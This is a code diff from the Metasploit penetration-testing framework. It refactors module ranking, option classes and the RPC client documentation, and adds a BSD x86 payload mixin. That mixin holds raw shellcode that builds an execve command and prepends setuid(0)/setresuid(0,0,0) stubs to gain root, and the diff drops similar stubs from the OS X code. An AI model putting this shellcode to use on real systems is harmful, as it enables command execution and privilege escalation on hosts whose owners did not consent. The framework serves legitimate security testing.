@ -315,21 +315,40 @@ class Msf::ModuleSet < Hash
# @return [Array<Array<String, Class>>] Array of arrays where the inner array is a pair of the module reference name
# and the module class.
def rank_modules
self.mod_ranked = self.sort { |a, b|
a_name, a_mod = a
b_name, b_mod = b
# Dynamically loads the module if needed
a_mod = create(a_name) if a_mod == Msf::SymbolicModule
b_mod = create(b_name) if b_mod == Msf::SymbolicModule
# Extract the ranking between the two modules
a_rank = a_mod.const_defined?('Rank') ? a_mod.const_get('Rank') : Msf::NormalRanking
b_rank = b_mod.const_defined?('Rank') ? b_mod.const_get('Rank') : Msf::NormalRanking
self.mod_ranked = self.sort { |a_pair, b_pair|
a_rank = module_rank(*a_pair)
b_rank = module_rank(*b_pair)
# Compare their relevant rankings. Since we want highest to lowest,
# we compare b_rank to a_rank in terms of higher/lower precedence
b_rank <=> a_rank
}
end
# Retrieves the rank from a loaded, not-yet-loaded, or unloadable Metasploit Module.
#
# @param reference_name [String] The reference name of the Metasploit Module
# @param metasploit_module_class [Class<Msf::Module>, Msf::SymbolicModule] The loaded `Class` for the Metasploit
# Module, or {Msf::SymbolicModule} if the Metasploit Module is not loaded yet.
# @return [Integer] an `Msf::*Ranking`. `Msf::ManualRanking` if `metasploit_module_class` is `nil` or
# {Msf::SymbolicModule} and it could not be loaded by {#create}. Otherwise, the `Rank` constant of the
# `metasploit_module_class` or {Msf::NormalRanking} if `metasploit_module_class` does not define `Rank`.
def module_rank(reference_name, metasploit_module_class)
if metasploit_module_class.nil?
Msf::ManualRanking
elsif metasploit_module_class == Msf::SymbolicModule
# TODO don't create an instance just to get the Class.
created_metasploit_module_instance = create(reference_name)
if created_metasploit_module_instance.nil?
module_rank(reference_name, nil)
else
module_rank(reference_name, created_metasploit_module_instance.class)
end
elsif metasploit_module_class.const_defined? :Rank
metasploit_module_class.const_get :Rank
else
Msf::NormalRanking
end
end
end

74
lib/msf/core/opt.rb Normal file
View File

@ -0,0 +1,74 @@
# -*- coding: binary -*-
module Msf
#
# Builtin framework options with shortcut methods
#
# @example
# register_options(
# [
# Opt::RHOST,
# Opt::RPORT(21),
# ]
# )
# register_advanced_options([Opt::Proxies])
#
module Opt
# @return [OptAddress]
def self.CHOST(default=nil, required=false, desc="The local client address")
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptPort]
def self.CPORT(default=nil, required=false, desc="The local client port")
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptAddress]
def self.LHOST(default=nil, required=true, desc="The listen address")
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptPort]
def self.LPORT(default=nil, required=true, desc="The listen port")
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptString]
def self.Proxies(default=nil, required=false, desc="A proxy chain of format type:host:port[,type:host:port][...]")
Msf::OptString.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptAddress]
def self.RHOST(default=nil, required=true, desc="The target address")
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptPort]
def self.RPORT(default=nil, required=true, desc="The target port")
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end
# These are unused but remain for historical reasons
class << self
alias builtin_chost CHOST
alias builtin_cport CPORT
alias builtin_lhost LHOST
alias builtin_lport LPORT
alias builtin_proxies Proxies
alias builtin_rhost RHOST
alias builtin_rport RPORT
end
CHOST = CHOST()
CPORT = CPORT()
LHOST = LHOST()
LPORT = LPORT()
Proxies = Proxies()
RHOST = RHOST()
RPORT = RPORT()
end
end

View File

@ -0,0 +1,37 @@
# -*- coding: binary -*-
module Msf
###
#
# Network address option.
#
###
class OptAddress < OptBase
def type
return 'address'
end
def valid?(value)
return false if empty_required_value?(value)
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
if (value != nil and value.empty? == false)
begin
getaddr_result = ::Rex::Socket.getaddress(value, true)
# Covers a wierdcase where an incomplete ipv4 address will have it's
# missing octets filled in with 0's. (e.g 192.168 become 192.0.0.168)
# which does not feel like a legit behaviour
if value =~ /^\d{1,3}(\.\d{1,3}){1,3}$/
return false unless value =~ Rex::Socket::MATCH_IPV4
end
rescue
return false
end
end
return super
end
end
end

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
module Msf
###
#
# Network address range option.
#
###
class OptAddressRange < OptBase
def type
return 'addressrange'
end
def normalize(value)
return nil unless value.kind_of?(String)
if (value =~ /^file:(.*)/)
path = $1
return false if not File.exists?(path) or File.directory?(path)
return File.readlines(path).map{ |s| s.strip}.join(" ")
elsif (value =~ /^rand:(.*)/)
count = $1.to_i
return false if count < 1
ret = ''
count.times {
ret << " " if not ret.empty?
ret << [ rand(0x100000000) ].pack("N").unpack("C*").map{|x| x.to_s }.join(".")
}
return ret
end
return value
end
def valid?(value)
return false if empty_required_value?(value)
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
if (value != nil and value.empty? == false)
normalized = normalize(value)
return false if normalized.nil?
walker = Rex::Socket::RangeWalker.new(normalized)
if (not walker or not walker.valid?)
return false
end
end
return super
end
end
end

166
lib/msf/core/opt_base.rb Normal file
View File

@ -0,0 +1,166 @@
# -*- coding: binary -*-
require 'resolv'
require 'msf/core'
require 'rex/socket'
module Msf
###
#
# The base class for all options.
#
###
class OptBase
#
# Initializes a named option with the supplied attribute array.
# The array is composed of three values.
#
# attrs[0] = required (boolean type)
# attrs[1] = description (string)
# attrs[2] = default value
# attrs[3] = possible enum values
# attrs[4] = Regex to validate the option
#
def initialize(in_name, attrs = [])
self.name = in_name
self.advanced = false
self.evasion = false
self.required = attrs[0] || false
self.desc = attrs[1]
self.default = attrs[2]
self.enums = [ *(attrs[3]) ].map { |x| x.to_s }
regex_temp = attrs[4] || nil
if regex_temp
# convert to string
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
# remove start and end character, they will be added later
regex_temp = regex_temp.sub(/^\^/, '').sub(/\$$/, '')
# Add start and end marker to match the whole regex
regex_temp = "^#{regex_temp}$"
begin
Regexp.compile(regex_temp)
self.regex = regex_temp
rescue RegexpError, TypeError => e
raise("Invalid Regex #{regex_temp}: #{e}")
end
end
end
#
# Returns true if this is a required option.
#
def required?
return required
end
#
# Returns true if this is an advanced option.
#
def advanced?
return advanced
end
#
# Returns true if this is an evasion option.
#
def evasion?
return evasion
end
#
# Returns true if the supplied type is equivalent to this option's type.
#
def type?(in_type)
return (type == in_type)
end
#
# If it's required and the value is nil or empty, then it's not valid.
#
def valid?(value)
if required?
# required variable not set
return false if (value == nil or value.to_s.empty?)
end
if regex
if value.match(regex)
return true
else
return false
end
end
return true
end
#
# Returns true if the value supplied is nil and it's required to be
# a valid value
#
def empty_required_value?(value)
return (required? and value.nil?)
end
#
# Normalizes the supplied value to conform with the type that the option is
# conveying.
#
def normalize(value)
value
end
#
# Returns a string representing a user-friendly display of the chosen value
#
def display_value(value)
value.to_s
end
#
# The name of the option.
#
attr_reader :name
#
# Whether or not the option is required.
#
attr_reader :required
#
# The description of the option.
#
attr_reader :desc
#
# The default value of the option.
#
attr_reader :default
#
# Storing the name of the option.
#
attr_writer :name
#
# Whether or not this is an advanced option.
#
attr_accessor :advanced
#
# Whether or not this is an evasion option.
#
attr_accessor :evasion
#
# The module or entity that owns this option.
#
attr_accessor :owner
#
# The list of potential valid values
#
attr_accessor :enums
#
# A optional regex to validate the option value
#
attr_accessor :regex
protected
attr_writer :required, :desc, :default # :nodoc:
end
end

48
lib/msf/core/opt_bool.rb Normal file
View File

@ -0,0 +1,48 @@
# -*- coding: binary -*-
module Msf
###
#
# Boolean option.
#
###
class OptBool < OptBase
TrueRegex = /^(y|yes|t|1|true)$/i
def type
return 'bool'
end
def valid?(value)
return false if empty_required_value?(value)
if ((value != nil and
(value.to_s.empty? == false) and
(value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil)))
return false
end
true
end
def normalize(value)
if(value.nil? or value.to_s.match(TrueRegex).nil?)
false
else
true
end
end
def is_true?(value)
return normalize(value)
end
def is_false?(value)
return !is_true?(value)
end
end
end

48
lib/msf/core/opt_enum.rb Normal file
View File

@ -0,0 +1,48 @@
# -*- coding: binary -*-
module Msf
###
#
# Enum option.
#
###
class OptEnum < OptBase
def type
return 'enum'
end
def valid?(value=self.value)
return false if empty_required_value?(value)
return true if value.nil? and !required?
(value and self.enums.include?(value.to_s))
end
def normalize(value=self.value)
return nil if not self.valid?(value)
return value.to_s
end
def desc=(value)
self.desc_string = value
self.desc
end
def desc
if self.enums
str = self.enums.join(', ')
end
"#{self.desc_string || ''} (accepted: #{str})"
end
protected
attr_accessor :desc_string # :nodoc:
end
end

35
lib/msf/core/opt_int.rb Normal file
View File

@ -0,0 +1,35 @@
# -*- coding: binary -*-
module Msf
###
#
# Integer option.
#
###
class OptInt < OptBase
def type
return 'integer'
end
def normalize(value)
if (value.to_s.match(/^0x[a-fA-F\d]+$/))
value.to_i(16)
else
value.to_i
end
end
def valid?(value)
return super if !required? and value.to_s.empty?
return false if empty_required_value?(value)
if value and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
return false
end
return super
end
end
end

44
lib/msf/core/opt_path.rb Normal file
View File

@ -0,0 +1,44 @@
# -*- coding: binary -*-
module Msf
###
#
# File system path option.
#
###
class OptPath < OptBase
def type
return 'path'
end
# Generally, 'value' should be a file that exists.
def valid?(value)
return false if empty_required_value?(value)
if value and !value.empty?
if value =~ /^memory:\s*([0-9]+)/i
return false unless check_memory_location($1)
else
unless File.exists?(value)
return false
end
end
end
return super
end
# The AuthBrute mixin can take a memory address as well --
# currently, no other OptFile can make use of these objects.
# TODO: Implement memory:xxx to be more generally useful so
# the validator on OptFile isn't lying for non-AuthBrute.
def check_memory_location(id)
return false unless self.class.const_defined?(:ObjectSpace)
obj = ObjectSpace._id2ref(id.to_i) rescue nil
return false unless obj.respond_to? :acts_as_file?
return false unless obj.acts_as_file? # redundant?
return !!obj
end
end
end

31
lib/msf/core/opt_port.rb Normal file
View File

@ -0,0 +1,31 @@
# -*- coding: binary -*-
module Msf
###
#
# Network port option.
#
###
class OptPort < OptBase
def type
return 'port'
end
def normalize(value)
value.to_i
end
def valid?(value)
return false if empty_required_value?(value)
if ((value != nil and value.to_s.empty? == false) and
((value.to_s.match(/^\d+$/) == nil or value.to_i < 0 or value.to_i > 65535)))
return false
end
return super
end
end
end

34
lib/msf/core/opt_raw.rb Normal file
View File

@ -0,0 +1,34 @@
# -*- coding: binary -*-
module Msf
###
#
# Raw, arbitrary data option.
#
###
class OptRaw < OptBase
def type
return 'raw'
end
def normalize(value)
if (value =~ /^file:(.*)/)
path = $1
begin
value = File.read(path)
rescue ::Errno::ENOENT, ::Errno::EISDIR
value = nil
end
end
value
end
def valid?(value=self.value)
value = normalize(value)
return false if empty_required_value?(value)
return super
end
end
end

View File

@ -0,0 +1,46 @@
# -*- coding: binary -*-
module Msf
###
#
# Regexp option
#
###
class OptRegexp < OptBase
def type
return 'regexp'
end
def valid?(value)
unless super
return false
end
return true if (not required? and value.nil?)
begin
Regexp.compile(value)
return true
rescue RegexpError, TypeError
return false
end
end
def normalize(value)
return nil if value.nil?
return Regexp.compile(value)
end
def display_value(value)
if value.kind_of?(Regexp)
return value.source
elsif value.kind_of?(String)
return display_value(normalize(value))
end
return super
end
end
end

View File

@ -0,0 +1,34 @@
# -*- coding: binary -*-
module Msf
###
#
# Mult-byte character string option.
#
###
class OptString < OptBase
def type
return 'string'
end
def normalize(value)
if (value =~ /^file:(.*)/)
path = $1
begin
value = File.read(path)
rescue ::Errno::ENOENT, ::Errno::EISDIR
value = nil
end
end
value
end
def valid?(value=self.value)
value = normalize(value)
return false if empty_required_value?(value)
return super
end
end
end

File diff suppressed because it is too large Load Diff

View File

@ -1,5 +1,6 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/bsd/x86'
###
#
@ -10,6 +11,8 @@ require 'msf/core'
###
module Msf::Payload::Bsd
include Msf::Payload::Bsd::X86
#
# This mixin is chained within payloads that target the BSD platform.
# It provides special prepends, to support things like chroot and setuid.
@ -73,7 +76,6 @@ module Msf::Payload::Bsd
ret
end
def apply_prepends(buf)
test_arch = [ *(self.arch) ]
pre = ''
@ -88,76 +90,6 @@ module Msf::Payload::Bsd
pre + buf + app
end
def handle_x86_bsd_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7e" +# movb $0x7e,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x17" +# movb $0x17,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7f" +# movb $0x7f,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetgid'])
# setgid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\xb5" +# movb $0xb5,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['AppendExit'])
# exit(0)
app << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\xb0\x01" +# movb $0x01,%al #
"\xcd\x80" # int $0x80 #
end
end
def handle_x64_bsd_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)

View File

@ -0,0 +1,130 @@
# -*- coding: binary -*-
require 'msf/core'
###
# Contains common x86 BSD code
###
module Msf::Payload::Bsd
module X86
def bsd_x86_exec_payload
cmd_str = datastore['CMD'] || ''
# Split the cmd string into arg chunks
cmd_parts = Shellwords.shellsplit(cmd_str)
# the non-exe-path parts of the chunks need to be reversed for execve
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
payload = ''
# Stuff an array of arg strings into memory
payload << "\x31\xc0" # xor eax, eax (eax => 0)
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
payload << arg_str
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
# now EBX contains &cmd_parts[0], the exe path
if cmd_parts.length > 1
# Build an array of pointers to arguments
payload << "\x89\xD9" # mov ecx, ebx
payload << "\x50" # push eax; null byte (end of array)
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
cmd_parts[1..-1].each_with_index do |arg, idx|
l = [cmd_parts[idx].length+1].pack('V')
# can probably save space here by doing the loop in ASM
# for each arg, push its current memory location on to the stack
payload << "\x81\xC1" # add ecx, ...
payload << l # (cmd_parts[idx] is the prev arg)
payload << "\x51" # push ecx (&cmd_parts[idx])
end
payload << "\x53" # push ebx (&cmd_parts[0])
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
payload << "\x52" # push edx
payload << "\x51" # push ecx
else
# pass NULL args array to execve() call
payload << "\x50\x50" # push eax, push eax
end
payload << "\x53" # push ebx
payload << "\xb0\x3b" # mov al, 0x3b (execve)
payload << "\x50" # push eax
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
payload
end
def handle_x86_bsd_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7e" +# movb $0x7e,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x17" +# movb $0x17,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7f" +# movb $0x7f,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetgid'])
# setgid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\xb5" +# movb $0xb5,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['AppendExit'])
# exit(0)
app << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\xb0\x01" +# movb $0x01,%al #
"\xcd\x80" # int $0x80 #
end
end
end
end

View File

@ -19,13 +19,6 @@ module Msf::Payload::Osx
register_advanced_options(
[
Msf::OptBool.new('PrependSetresuid',
[
false,
"Prepend a stub that executes the setresuid(0, 0, 0) system call",
false
]
),
Msf::OptBool.new('PrependSetreuid',
[
false,
@ -40,13 +33,6 @@ module Msf::Payload::Osx
false
]
),
Msf::OptBool.new('PrependSetresgid',
[
false,
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
false
]
),
Msf::OptBool.new('PrependSetregid',
[
false,
@ -89,16 +75,6 @@ module Msf::Payload::Osx
end
def handle_x86_osx_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
@ -119,17 +95,6 @@ module Msf::Payload::Osx
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
@ -159,10 +124,6 @@ module Msf::Payload::Osx
end
def handle_x64_osx_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
raise RuntimeError, "setresuid syscall is not implemented on x64 OSX systems"
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
@ -185,11 +146,6 @@ module Msf::Payload::Osx
"\x0f\x05" # syscall
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
raise RuntimeError, "setresgid syscall is not implemented on x64 OSX systems"
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)

View File

@ -86,13 +86,13 @@ class Msf::Payload::UUID
#
# Generate a raw 16-byte payload UUID given a seed, platform, architecture, and timestamp
#
# @options opts [String] :seed An optional string to use for generated the unique payload ID, deterministic
# @options opts [String] :puid An optional 8-byte string to use as the unique payload ID
# @options opts [String] :arch The hardware architecture for this payload
# @options opts [String] :platform The operating system platform for this payload
# @options opts [String] :timestamp The timestamp in UTC Unix epoch format
# @options opts [Fixnum] :xor1 An optional 8-bit XOR ID for obfuscation
# @options opts [Fixnum] :xor2 An optional 8-bit XOR ID for obfuscation
# @option opts [String] :seed An optional string to use for generated the unique payload ID, deterministic
# @option opts [String] :puid An optional 8-byte string to use as the unique payload ID
# @option opts [String] :arch The hardware architecture for this payload
# @option opts [String] :platform The operating system platform for this payload
# @option opts [String] :timestamp The timestamp in UTC Unix epoch format
# @option opts [Fixnum] :xor1 An optional 8-bit XOR ID for obfuscation
# @option opts [Fixnum] :xor2 An optional 8-bit XOR ID for obfuscation
# @return [String] The encoded payoad UUID as a binary string
#
def self.generate_raw(opts={})

View File

@ -144,8 +144,10 @@ module Msf
if arch.blank?
@arch = mod.arch.first
cli_print "No Arch selected, selecting Arch: #{arch} from the payload"
datastore['ARCH'] = arch if mod.kind_of?(Msf::Payload::Generic)
return mod.arch.first
elsif mod.arch.include? arch
datastore['ARCH'] = arch if mod.kind_of?(Msf::Payload::Generic)
return arch
else
return nil
@ -157,7 +159,10 @@ module Msf
# @param mod [Msf::Payload] The module class to choose a platform for
# @return [Msf::Module::PlatformList] The selected platform list
def choose_platform(mod)
# By default, platform_list will at least return Msf::Module::Platform
# if there is absolutely no pre-configured platform info at all
chosen_platform = platform_list
if chosen_platform.platforms.empty?
chosen_platform = mod.platform
cli_print "No platform was selected, choosing #{chosen_platform.platforms.first} from the payload"
@ -165,6 +170,17 @@ module Msf
elsif (chosen_platform & mod.platform).empty?
chosen_platform = Msf::Module::PlatformList.new
end
begin
platform_object = Msf::Module::Platform.find_platform(platform)
rescue ArgumentError
platform_object = nil
end
if mod.kind_of?(Msf::Payload::Generic) && mod.send(:module_info)['Platform'].empty? && platform_object
datastore['PLATFORM'] = platform
end
chosen_platform
end

View File

@ -119,13 +119,6 @@ class Plugin
output.print_good(msg) if (output)
end
#
# Prints a 'debug' message.
#
def print_debug(msg='')
output.print_debug(msg) if (output)
end
#
# Prints a status line.
#

View File

@ -331,7 +331,6 @@ protected
begin
client.sys.config.getprivs()
root_key, base_key = session.sys.registry.splitkey(key)
#print_debug("Loading file #{file}")
begin
loadres = session.sys.registry.load_key(root_key, base_key, file)
rescue Rex::Post::Meterpreter::RequestError => e
@ -349,7 +348,6 @@ protected
#print_error("An unknown error has occurred: #{loadres.to_s}")
return false
else
#print_debug("Registry Hive Loaded Successfully: #{key}")
return true
end
end
@ -377,7 +375,6 @@ protected
#print_error("An unknown error has occurred: #{unloadres.to_s}")
return false
else
#print_debug("Registry Hive Unloaded Successfully: #{key}")
return true
end
end

View File

@ -12,9 +12,21 @@ module RPC
class Client
attr_accessor :token, :info
# @!attribute token
# @return [String] A login token.
attr_accessor :token
# @!attribute info
# @return [Hash] Login information.
attr_accessor :info
# Initializes the RPC client to connect to: https://127.0.0.1:3790 (TLS1)
# The connection information is overridden through the optional info hash.
#
# @param [Hash] info Information needed for the initialization.
# @option info [String] :token A token used by the client.
# @return [void]
def initialize(info={})
self.info = {
:host => '127.0.0.1',
@ -29,6 +41,13 @@ class Client
end
# Logs in by calling the 'auth.login' API. The authentication token will expire 5 minutes
# after the last request was made.
#
# @param [String] user Username.
# @param [String] pass Password.
# @raise RuntimeError Indicating a failed authentication.
# @return [TrueClass] Indicating a successful login.
def login(user,pass)
res = self.call("auth.login", user, pass)
unless (res && res['result'] == "success")
@ -38,8 +57,23 @@ class Client
true
end
# Prepend the authentication token as the first parameter
# of every call except auth.login. Requires the
# Calls an API.
#
# @param [String] meth The RPC API to call.
# @param [Array<string>] args The arguments to pass.
# @raise [RuntimeError] Something is wrong while calling the remote API, including:
# * A missing token (your client needs to authenticate).
# * A unexpected response from the server, such as a timeout or unexpected HTTP code.
# @raise [Msf::RPC::ServerException] The RPC service returns an error.
# @return [Hash] The API response. It contains the following keys:
# * 'version' [String] Framework version.
# * 'ruby' [String] Ruby version.
# * 'api' [String] API version.
# @example
# # This will return something like this:
# # {"version"=>"4.11.0-dev", "ruby"=>"2.1.5 x86_64-darwin14.0 2014-11-13", "api"=>"1.0"}
# rpc.call('core.version')
def call(meth, *args)
unless meth == "auth.login"
unless self.token
@ -84,6 +118,10 @@ class Client
end
end
# Closes the client.
#
# @return [void]
def close
if @cli && @cli.conn?
@cli.close

View File

@ -8,6 +8,11 @@ API_VERSION = "1.0"
class Exception < RuntimeError
attr_accessor :code, :message
# Initializes Exception.
#
# @param [Fixnum] code An error code.
# @param [String] message An error message.
# @return [void]
def initialize(code, message)
self.code = code
self.message = message
@ -18,6 +23,13 @@ end
class ServerException < RuntimeError
attr_accessor :code, :error_message, :error_class, :error_backtrace
# Initializes ServerException.
#
# @param [Fixnum] code An error code.
# @param [String] error_message An error message.
# @param [Exception] error_class An error class.
# @param [Array] error_backtrace A backtrace of the error.
# @return [void]
def initialize(code, error_message, error_class, error_backtrace)
self.code = code
self.error_message = error_message

View File

@ -11,8 +11,21 @@ begin
rescue ::LoadError
end
# Handles client authentication. The authentication token will expire 5 minutes after the
# last request was made.
#
# @param [String] user The username.
# @param [String] pass The password.
# @raise [Msf::RPC::Exception] Something is wrong while authenticating, you can possibly get:
# * 401 Failed authentication.
# @return [Hash] A hash indicating a successful login, it contains the following keys:
# * 'result' [String] A successful message: 'success'.
# * 'token' [String] A token for the authentication.
# @example Here's how you would use this from the client:
# # This returns something like the following:
# # {"result"=>"success", "token"=>"TEMPyp1N40NK8GM0Tx7A87E6Neak2tVJ"}
# rpc.call('auth.login_noauth', 'username', 'password')
def rpc_login_noauth(user,pass)
if not (user.kind_of?(::String) and pass.kind_of?(::String))
error(401, "Login Failed")
end
@ -42,6 +55,19 @@ end
{ "result" => "success", "token" => token }
end
# Handles client deauthentication.
#
# @param [String] token The user's token to log off.
# @raise [Msf::RPC::Exception] An error indicating a failed deauthentication, including:
# * 500 Invalid authentication token.
# * 500 Permanent authentication token.
# @return [Hash] A hash indiciating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# # This returns something like:
# # {"result"=>"success"}
# rpc.call('auth.logout', 'TEMPyp1N40NK8GM0Tx7A87E6Neak2tVJ')
def rpc_logout(token)
found = self.service.tokens[token]
error("500", "Invalid Authentication Token") if not found
@ -53,6 +79,16 @@ end
{ "result" => "success" }
end
# Returns a list of authentication tokens, including the ones that are
# temporary, permanent, or stored in the backend.
#
# @return [Hash] A hash that contains a list of authentication tokens. It contains the following key:
# * 'tokens' [Array<string>] An array of tokens.
# @example Here's how you would use this from the client:
# # This returns something like:
# # {"tokens"=>["TEMPf5I4Ec8cBEKVD8D7xtIbTXWoKapP", "TEMPtcVmMld8w74zo0CYeosM3iXW0nJz"]}
# rpc.call('auth.token_list')
def rpc_token_list
res = self.service.tokens.keys
begin
@ -66,6 +102,14 @@ end
{ "tokens" => res }
end
# Adds a new token to the database.
#
# @param [String] token A unique token.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('auth.token_add', 'UNIQUE_TOKEN')
def rpc_token_add(token)
db = false
begin
@ -85,6 +129,16 @@ end
{ "result" => "success" }
end
# Generates a random 32-byte authentication token. The token is added to the
# database as a side-effect.
#
# @return [Hash] A hash indicating the action was successful, also the new token.
# It contains the following keys:
# * 'result' [String] The successful message: 'success'
# * 'token' [String] A new token.
# @example Here's how you would use this from the client:
# rpc.call('auth.token_generate')
def rpc_token_generate
token = Rex::Text.rand_text_alphanumeric(32)
db = false
@ -106,6 +160,16 @@ end
{ "result" => "success", "token" => token }
end
# Removes a token from the database. Similar to what #rpc_logout does internally, except this
# can remove tokens stored in the database backend (Mdm).
#
# @see #rpc_logout
# @param [String] token The token to delete.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('auth.token_remove', 'TEMPtcVmMld8w74zo0CYeosM3iXW0nJz')
def rpc_token_remove(token)
db = false
begin

View File

@ -5,6 +5,9 @@ module RPC
class RPC_Base
attr_accessor :framework, :service, :tokens, :users
# Initializes framework, service, tokens, and users
#
# return [void]
def initialize(service)
self.service = service
self.framework = service.framework
@ -12,6 +15,12 @@ class RPC_Base
self.users = service.users
end
# Raises an Msf::RPC Exception.
#
# @param [Fixnum] code The error code to raise.
# @param [String] message The error message.
# @raise [Msf::RPC::Exception]
# @return [void]
def error(code, message)
raise Msf::RPC::Exception.new(code, message)
end

View File

@ -7,11 +7,24 @@ module Msf
module RPC
class RPC_Console < RPC_Base
# Initializes the RPC console
#
# @return [Msf::Ui::Web::Driver]
def initialize(*args)
super
@console_driver = Msf::Ui::Web::Driver.new(:framework => framework)
end
# Creates a new framework console instance.
#
# @param [Hash] opts See Msf::Ui::Web::Driver#create_console
# @return [Hash] Information about the new console. It contains the following keys:
# * 'id' [Fixnum] The console's ID.
# * 'prompt' [String] The framework prompt (example: 'msf > ')
# * 'busy' [TrueClass] The console's busy state, or
# * 'busy' [FalseClass] The console's busy state.
# @example Here's how you would use this from the client:
# rpc.call('console.create')
def rpc_create(opts={})
